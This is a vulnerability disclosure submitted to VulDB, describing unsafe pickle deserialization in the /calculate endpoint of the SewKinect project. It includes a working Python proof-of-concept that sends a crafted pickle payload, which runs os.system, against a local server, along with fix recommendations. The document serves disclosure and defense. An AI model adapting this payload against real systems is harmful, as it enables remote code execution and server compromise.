Submit #653270: SewKinect latest OS Command Injection

# Remote Code Execution Vulnerability in /calculate Endpoint

### Summary

The `/calculate` endpoint in the application is vulnerable to Remote Code Execution (RCE) due to unsafe deserialization using Python's `pickle.loads` on user-supplied data.

### Details

- The endpoint accepts POST requests with form fields `body_parts` and `point_cloud`.
- These fields are base64-encoded pickled objects, which are decoded and deserialized using `pickle.loads` without validation.
- Python's `pickle` module is inherently unsafe for deserializing untrusted data, as it can execute arbitrary code during the loading process.
- An attacker can craft a malicious pickle payload to execute arbitrary system commands on the server.

## PoC
- Run Server
```shell
python app.py
```

- Run poc.py
```Python
import pickle
import base64

import requests

class Payload(object):
def __reduce__(self):
import os
return (os.system, ('echo "PWNED"',))

def poc():
payload = pickle.dumps(Payload())

resp = requests.post(
"http://127.0.0.1:5000/calculate",
headers={"Content-type": "application/x-www-form-urlencoded"},
data={
"body_parts": base64.b64encode(payload).decode(),
"point_cloud": base64.b64encode(pickle.dumps(None)).decode()
}
)
print(resp.status_code, resp.text)

if __name__ == "__main__":
poc()
```

### Impact

Successful exploitation allows attackers to execute arbitrary code on the server, potentially leading to full system compromise, data theft, or service disruption.

### Recommendation

- Never use `pickle.loads` on data from untrusted sources.
- Replace pickle with a safe serialization format such as JSON.
- Validate and sanitize all user inputs.

### References
- [Python pickle documentation (Security Considerations)](https://docs.python.org/3/library/pickle.html#security-concerns)
- [OWASP: Deserialization of Untrusted Data](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)

• Source: ⚠️ https://github.com/giantspatula/SewKinect/issues/3
• User: zznQ (UID 64000)
• Submission: 09/12/2025 07:19 (8 months ago)
• Moderation: 09/25/2025 16:10 (13 days later)
• Status: Accepted
• VulDB entry: 325845 [giantspatula SewKinect up to 7fd963ceb3385af3706af02b8a128a13399dffb1 Endpoint /calculate pickle.loads body_parts/point_cloud deserialization]
• Points: 20